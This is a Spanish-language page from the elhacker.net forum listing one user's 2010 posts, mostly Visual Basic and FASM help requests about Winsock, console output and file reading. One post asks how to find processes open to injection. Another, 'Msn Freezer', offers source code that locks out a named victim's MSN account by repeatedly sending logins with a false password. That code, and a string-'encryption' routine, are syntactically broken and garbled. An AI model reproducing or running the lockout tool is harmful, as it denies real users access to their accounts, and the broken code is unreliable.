elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 [9] 10
81  Programación / Programación Visual Basic / Ayuda apis winsock en: 4 Agosto 2010, 00:59 am
Holas a todos... estoy intentando hacer un servidor usando las api de winsock, pero me falla la api Bind.... nose que estoy haciendo mal ya que lo e revisado unas 10 o 12 veces y nose que podra estar sucediendo, haber si usatedes lo saben, codigo:

Código
  1. Option Explicit
  2.  
  3. Private Declare Function WSAStartup Lib "WSOCK32" (ByVal wVersionRequired As Long, lpWSADATA As WSAData) As Long
  4. Private Declare Function socket Lib "wsock32.dll" (ByVal af As Long, ByVal s_type As Long, ByVal protocol As Long) As Long
  5. Private Declare Function htons Lib "wsock32.dll" (ByVal hostshort As Long) As Integer
  6. Private Declare Function Bind Lib "wsock32.dll" Alias "bind" (ByVal s As Long, ByRef name As sockaddr, ByVal namelen As Long) As Long
  7.  
  8. Private Const MAX_WSADescription = 256
  9. Private Const MAX_WSASYSStatus = 128
  10. Private Const WS_VERSION_REQD As Long = &H101
  11. Private Const AF_INET As Long = 2
  12. Private Const SOCK_STREAM As Long = 1
  13. Private Const IPPROTO_TCP As Long = 6
  14. Private Const INADDR_ANY As Long = &H0
  15.  
  16. Private Type sockaddr
  17.    sin_family As Integer
  18.    sin_port As Integer
  19.    sin_addr As Long
  20.    sin_zero As String * 8
  21. End Type
  22.  
  23. Private Type WSAData
  24.    wVersion As Integer
  25.    wHighVersion As Integer
  26.    szDescription(0 To MAX_WSADescription) As Byte
  27.    szSystemStatus(0 To MAX_WSASYSStatus) As Byte
  28.    wMaxSockets As Integer
  29.    wMaxUDPDG As Integer
  30.    dwVendorInfo As Long
  31. End Type
  32.  
  33. Public Function Dsocket() As Boolean
  34.    Dim IniciarSocket As Integer
  35.    Dim WSAS As WSAData
  36.    Dim sock As Integer
  37.    Dim sa As sockaddr
  38.  
  39.    IniciarSocket = WSAStartup(WS_VERSION_REQD, WSAS)
  40.    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
  41.  
  42.    sa.sin_family = AF_INET
  43.    sa.sin_addr = INADDR_ANY
  44.    sa.sin_port = htons(22233)
  45.  
  46.    If (Bind(sock, sa, LenB(sa)) = -1) Then
  47.        MsgBox "error": Exit Function
  48.    End If
  49.  
  50.  
  51.    Exit Function
  52. error:
  53.    Exit Function
  54. End Function
  55.  
  56.  
  57. Private Sub form_load()
  58.     Dsocket
  59. End Sub


salu2! y esperando respuesta.


82  Programación / Programación Visual Basic / Declaracion Bind en: 3 Agosto 2010, 13:31 pm
Alguien save la declaracion de la Api Bind? la e buscado y no la he encontrado  :-\

salu2!
83  Programación / ASM / PRoblema en fasm intentando usar consola en: 1 Agosto 2010, 20:39 pm
Holas.... bueno estoy intentando crear en asm una consola con las api de windows... , la genera bien y todo pero no puedo imprimir cosas en la consola y nose porque es, aqui les dejo el codigo haber si ustedes saben solucionarlo.

Código
  1. include 'c:\archivos de programa\include\win32ax.inc'
  2.  
  3. .data
  4.  
  5.    msgerror db 'No se a encontrado la consola',0
  6.    tituloerror db 'Error',0
  7.    tituloconsola db 'Drinky Console in Asm',0
  8.    linea db 'Esta es mi consola!',0
  9.    hwnd dd ?
  10.    escribe dd ?
  11.    longitud dd ?
  12. .code
  13. start:
  14.  
  15.    invoke AllocConsole
  16.    invoke GetStdHandle,STD_INPUT_HANDLE
  17.    cmp eax,0
  18.    ja correcto
  19.    jbe incorrecto
  20.    correcto:
  21.        mov [hwnd],eax
  22.        invoke SetConsoleTitle,tituloconsola
  23.        invoke lstrlen,linea
  24.        mov [longitud],eax
  25.        invoke WriteConsole,hwnd,linea,longitud,[escribe],NULL   ; Esta es la linea que creo que falla
  26.  
  27.  
  28.        jmp fin
  29.    incorrecto:
  30.        invoke MessageBoxA,0,msgerror,tituloerror,MB_ICONERROR
  31.        jmp fin
  32.    fin:
  33.        ret
  34.  
  35. .end start      


salu2! y esperando respuesta.
84  Programación / Programación Visual Basic / Equivalencia a api en: 25 Junio 2010, 13:38 pm
Alguien sabe una Api equivalente a GetProcAddress pero qeu recupere la funcion de un exe?

salu2!
85  Seguridad Informática / Análisis y Diseño de Malware / Api para saber privilegios de un proceso en: 1 Junio 2010, 18:56 pm
Buenas foro de elhacker.net tengo un problema , y es el siguiente... intento inyectarme en cualquier proceso que este abierto pero muchos no me dan persiso.. quisiera saber si hay alguna api para saber que procesos te dan permiso para abrirlos y cuales no.

esperando respuesta.

salu2!
86  Programación / Programación Visual Basic / No me lee archivo en: 22 Abril 2010, 21:15 pm
Hola, tengo el siguiente problema, estoy intentando leer un mediante api pero nose porqeu demonios no me coje los datos, este es el code:

Código
  1. Option Explicit
  2.  
  3. Public Declare Function CreateFile Lib "kernel32.dll" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
  4. Public Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByRef lpOverlapped As Any) As Long
  5. Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  6.  
  7.  
  8. Public Const GENERIC_READ = &H80000000
  9. Public Const FILE_SHARE_READ = &H1
  10. Public Const FILE_ATTRIBUTE_NORMAL = &H80
  11. Public Const OPEN_EXISTING As Long = 3
  12.  
  13. Public Type SECURITY_ATTRIBUTES
  14.    nLength As Long
  15.    lpSecurityDescriptor As Long
  16.    bInheritHandle As Long
  17. End Type
  18. Public Type OVERLAPPED
  19.    ternal As Long
  20.    ternalHigh As Long
  21.    offset As Long
  22.    OffsetHigh As Long
  23.    hEvent As Long
  24. End Type
  25.  
  26.  
  27. Public Function Archivo(ruta As String) As Boolean
  28.    Dim abrirarchivo As Long
  29.    Dim sa As SECURITY_ATTRIBUTES
  30.    Dim leerarchivo As Long
  31.    Dim over As OVERLAPPED
  32.    Dim buffer As String
  33.    Dim nada As Long
  34.    Dim bytesleidos As Long
  35.    abrirarchivo = CreateFile(ruta, GENERIC_READ, FILE_SHARE_READ, sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
  36.    buffer = Space(FileLen(ruta))
  37.    leerarchivo = ReadFile(abrirarchivo, buffer, nada, bytesleidos, over)
  38.    Call CloseHandle(abrirarchivo)
  39.    MsgBox buffer
  40. End Function
  41.  
  42. Sub Main()
  43.    Call Archivo("c:\feo.txt")
  44. End Sub

espero vuestra ayuda.

salu2!
87  Programación / Programación Visual Basic / Declaracion OpenThread? en: 17 Abril 2010, 14:17 pm
Alguien sabe la declaracion de la api OpenThread? esque la he estado buscando y no la encuentro.

Esperando respuesta.

salu2!
88  Programación / Programación Visual Basic / [MINI SOURCE]Cambiar el nombre a una ventana en: 28 Febrero 2010, 18:26 pm
Hola gente esta tarde me aburria y m e puesto a hacer este pequeño code, cirve para cambiarle el texto a una ventana. Usa dos Apis Findwindow para recuperar el handle de la ventana y Setwindowtext para cambiar el nombre. Si mas que hablar les dejo el code..

Código
  1. Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" ( _
  2.    ByVal hwnd As Long, _
  3.    ByVal lpString As String) As Long
  4. Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
  5.    ByVal lpClassName As String, _
  6.    ByVal lpWindowName As String) As Long
  7. Private Sub Command1_Click()
  8.    Dim drinky As String, handle As long
  9.    handle = FindWindow(vbNullString, "Calculadora")
  10.    drinky = SetWindowText(handle, "Drinky94 ;)")
  11. End Sub
  12.  

Nos vemos... Salu2!
89  Programación / Programación Visual Basic / Encryptdecrypt encryptador y desencryptador de cadenas en: 14 Febrero 2010, 20:21 pm
Bueno, despues de ver el algoritmo de Blackzerox para  encryptar y desencryptar cadenas decidi acer yo un ocde tambien, aqui se lo dejo, es 100% funcional. Espero que les gute:

Código:
'*******************************************
'** Funcion: Algoritmo simple             **
'** fecha: 14-2-2010                      **
'** Autor: Drinky94                       **
'** Email: Drinky.94:-com          **
'*******************************************
Option Explicit
Dim datos As String
Enum estado
    encryptar = 1
    desencryptar = 2
End Enum
Public Function Encryptdecrypt(ByRef cadena As String, ByRef modo As estado)
    Dim longitudcadena As String, formarcadena As String, caracter As String, i As Integer
    Dim drinky As String, adaptar As String
    longitudcadena = Len(cadena)
    If modo = 1 Then
        For i = 1 To longitudcadena
            caracter = Mid(cadena, i, longitudcadena)
            formarcadena = Asc(caracter) + longitudcadena
            drinky = Chr(formarcadena)
            datos = datos + drinky
        Next i
        MsgBox "Su texto encryptado es: " & datos
    Else
        For i = 1 To longitudcadena
            caracter = Mid(datos, i, longitudcadena)
            formarcadena = Asc(caracter) - longitudcadena
            drinky = Chr(formarcadena)
            datos = datos + drinky
        Next i
        adaptar = Mid(datos, longitudcadena + 1, longitudcadena)
        MsgBox "Su texto desencryptado es: " & adaptar
    End If
End Function

y aqui les dejo un ejemplo de su uso:

Código:
Private Sub Command1_Click()
    Call Encryptdecrypt(Text1, encryptar)
End Sub

Como ven es muy sencillo de usar.

Espero que les haya gustado.

salu2!
90  Programación / Programación Visual Basic / [SOURCE] [CPH] Msn Freezer en: 8 Febrero 2010, 22:46 pm
Hola, bueno ace unos dias programe un congelador de msn desde 0... aqui os dejo el source:


Código:
'*************************************************
'****          Programado por Drinky94        ****
'*************************************************
Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim Mensaje As String
Private Sub banear_click()
    If text1 = "" Then
        MsgBox "No ha insertado ningun msn", vbExclamation, "[CPH] Msn Freezer: Error"
    Else
        If intr(text1, "@") = True Then
            WS.Close
            WS.remotehost = messenger.hotmail.com
            WS.remoteport = 1863
            WS.Connect
            Call parte1
        Else
            MsgBox "Inserte una direccion de correo valida", vbExclamation, "[CPH] Msn Freezer: Error"
    End If
End Sub
Private Sub desbanear_click()
    On Error GoTo err
    WS.Close
    WS2.Close
    WS3.Close
    timer1.Enabled = False
    MsgBox "La cuenta a sido desbloqueada con exito", vbInformation, "[CPH] Msn Freezer: La cuenta ha sido desbloqueada con exito"
err:
    MsgBox "El programa a detectado un error y debe cerrarse", vbCritical, "[CPH] Msn Freezer: Error"
    End
End Sub
Private Sub parte1()
    WS.senddata = ">>VER 1 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte2()
    WS.senddata = ">>CVR 2 0X0C0A winnt 5.1 i386 MSNMSGR 6.0.0602 MSMSGS" & text1 & ":-com"
End Sub
Private Sub parte3()
    WS.senddata = ">>USR 3 TWN I" & text1
End Sub
Private Sub parte4()
    WS2.Close
    WS2.remotehost = "207.46.106.35"
    WS2.remoteport = 1863
    Call parte5
End Sub
Private Sub parte5()
    WS2.senddata = ">>VER 4 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte6()
    WS2.senddata = ">>CVR 5 0x0409 win i386 MSNMSGR 5.0.0544 MSMSGS" & text1
End Sub
Private Sub parte7()
    WS2.senddata = ">>USR 6 TWN I" & text1
End Sub
Private Sub parte8()
    WS3.Close
    WS3.remotehost = "login.passport.com"
    WS3.remoteport = 433
    WS3.Connect
    timer1.Enabled = True
    timer1.Interval = 1000
End Sub
Private Sub timer1_timer()
    WS3.senddata = ">>GET /login2.srf HTTP/1.0 Accept: */* Host: login.pasport.com User Agent: loquesea Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmesenger%2Emsn%2Ecom,sing-in=" & text1 & ",pwd:" & "contraseñafalsaaenviartienequeserdificilparaquenuncacoincida,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1139411464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
    Call Winsock1.GetData(Mensaje)
    Select Case mensage
        Case "<<VER 1 MSNP9 MSNP8 CVR0"
            Call parte2
        Case "<<CVR 2 7.5.0311 7.50311 6.2.0205 http://msgr.dlservicemicrosoft.com/download/e/7/5e75042c3-31c1-4b42-a458-adbc-786322fe/install_MSN_Messenger.EXE http://messenger.msn.com/es"
            Call parte3
        Case "<<XFR 3 NS 207.46.106.35:1863 0 207.46.104.20:1863"
            Call parte4
    End Select
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
    Call Winsock1.GetData(Mensaje)
    Case "<<VER 4 MSNP9 MSNP8 CVR0"
        Call parte6
    Case "<<CVR 5 6.00602 1.0.0000 http://download.microsoft.com/download/8/a/4/8a42bcae-f533-4468-b871-d2bc-8dd32e9e/SETUP9x.EXE http://messenger.msn.com"
        Call parte7
    Case "<<URS 5 TWN S lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%messenger%2Emsn%2ecom,ct=113941464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
     Call Winsock1.GetData(Mensaje)
     Case mensage
        Call parte8
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long)
    Winsock1.LocalPort = 0
    Winsock1.Accept requestID
End Sub
Private Sub form_load()
       With ProgressBar1
        .Max = 100
        .Min = 0
        .Value = 0
    End With
End Sub


Espero que les haya gustado...


salu2!
Páginas: 1 2 3 4 5 6 7 8 [9] 10
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines